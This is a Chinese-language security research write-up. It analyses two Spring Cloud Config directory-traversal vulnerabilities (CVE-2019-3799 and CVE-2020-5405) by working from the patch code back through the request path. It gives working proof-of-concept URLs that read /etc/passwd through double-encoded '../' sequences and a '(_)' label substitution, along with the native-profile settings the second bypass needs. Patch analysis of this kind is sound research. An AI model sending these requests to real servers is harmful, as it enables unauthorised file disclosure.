最近打算分析一下spring相关的漏洞,就以spring-cloud-config产生的目录穿越漏洞为引,进行学习,另外,为了更好的提高自己的能力,我们对漏洞只提前去了解补丁和影响的版本,不拿poc去看调用栈的流程,从补丁分析poc的编写。

CVE-2019-3799漏洞补丁

补丁位置:https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

根据补丁可以看到主要增加了路径的检测,一个是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 chars
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return false;
}

这个我们可以看到主要是url解码的功能,看到这里会想到难道url编码可以绕过限制进行文件读取?如果是这样的话那么在读文件时要么有解码操作,要么可能是file协议等。

第二个函数我们可以看到主要是限制了一些路径出现的字符,防止我们目录穿越已经读敏感文件的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn("Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]");
}
return true;
}
return false;
}

CVE-2019-3799具体分析

如果我们对该组件不熟悉的话,可以通过回溯进行找漏洞利用点。

通过看补丁我们知道漏洞产生点在findOne方法,全局找一下

并且通过看findOne的代码我们可以知道,path可控是比较重要的,重点跟一下可控处

找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
synchronized String retrieve(String name, String profile, String label, String path,
boolean resolvePlaceholders) throws IOException {
if (name != null && name.contains("(_)")) {
// "(_)" is uncommon in a git repo name, but "/" cannot be matched
// by Spring MVC
name = name.replace("(_)", "/");
}
if (label != null && label.contains("(_)")) {
// "(_)" is uncommon in a git branch name, but "/" cannot be matched
// by Spring MVC
label = label.replace("(_)", "/");
}

// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = this.resourceRepository.findOne(name, profile, label, path)
.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}

再往上找就能找到

1
2
3
4
5
6
7
8
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, HttpServletRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(name, profile, label, path, resolvePlaceholders);
}

然后这里可以看到path是我们完全可控的,也就是**

那么我们根据路由构建个请求

1
http://127.0.0.1:8888/aaaa/aaaa/master/README.md

跟进一下看到

进行了路径的拼接,因为我们一开始并不熟悉该组件的功能,看到这里猜测是将远程管理项目的下载到本地,然后利用file协议来进行读取文件,这里也解释了为什么写过滤的时候会进行url解码。

因为浏览器会进行一次url解码,然后在getInputStream中openConnection会解码一次

那么我们就可以构造poc

1
http://127.0.0.1:8888/aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd

CVE-2020-5405漏洞补丁

补丁位置:https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0

通过补丁我们可以知道,第一次补丁只检测了path,第二个补丁检测了整个路径,那么问题还应该出在了这里.

CVE-2020-5405漏洞分析

其实往前看有个替换的操作,很显眼

name和label的(_)会被替换成/,看到这里,我尝试构造poc

1
http://127.0.0.1:8888/aaaa/aaaa/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%65%74%63/passwd

我们让label为..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc,path为passwd,这样拼接完应该是file:/xxx/xxx/xxx/../../../../../etc/passwd

但是如果label不为master的话,代码逻辑就会先去checkout,然后就异常了

这里面会导致抛出异常,具体抛出异常的点在哪呢,在org.springframework.cloud.config.server.environment.MultipleJGitEnvironmentRepository

在CVE-2019-3799中,我们使用的配置是常用的spring.cloud.config.server.git.uri,它会选择使用MultipleJGitEnvironmentRepository.class的getLocations,然后就会走到checkout,抛出异常了,那么我们怎么去不走checkout逻辑呢。

通过翻文档https://zq99299.github.io/note-book/spring-cloud-tutorial/config/002.html#%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6%E5%90%8E%E7%AB%AF%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F

得知这个配置是让它从本地进行加载,而不是用git,通过在application.properties配置

1
2
spring.profiles.active=native
spring.cloud.config.server.native.search-locations=file:/Users/p0desta/Desktop

其实通过补丁我们也可以发现端倪

配置后重新跟进调试

然后就在/org/springframework/cloud/config/server/environment/NativeEnvironmentRepository.class@getLocations中对路径进行了处理,大致就是对路径进行拼接,然后存在ouput数组中,返回一个新的Locations对象

然后后面就是跟CVE-2019-3799一样,直接读文件了。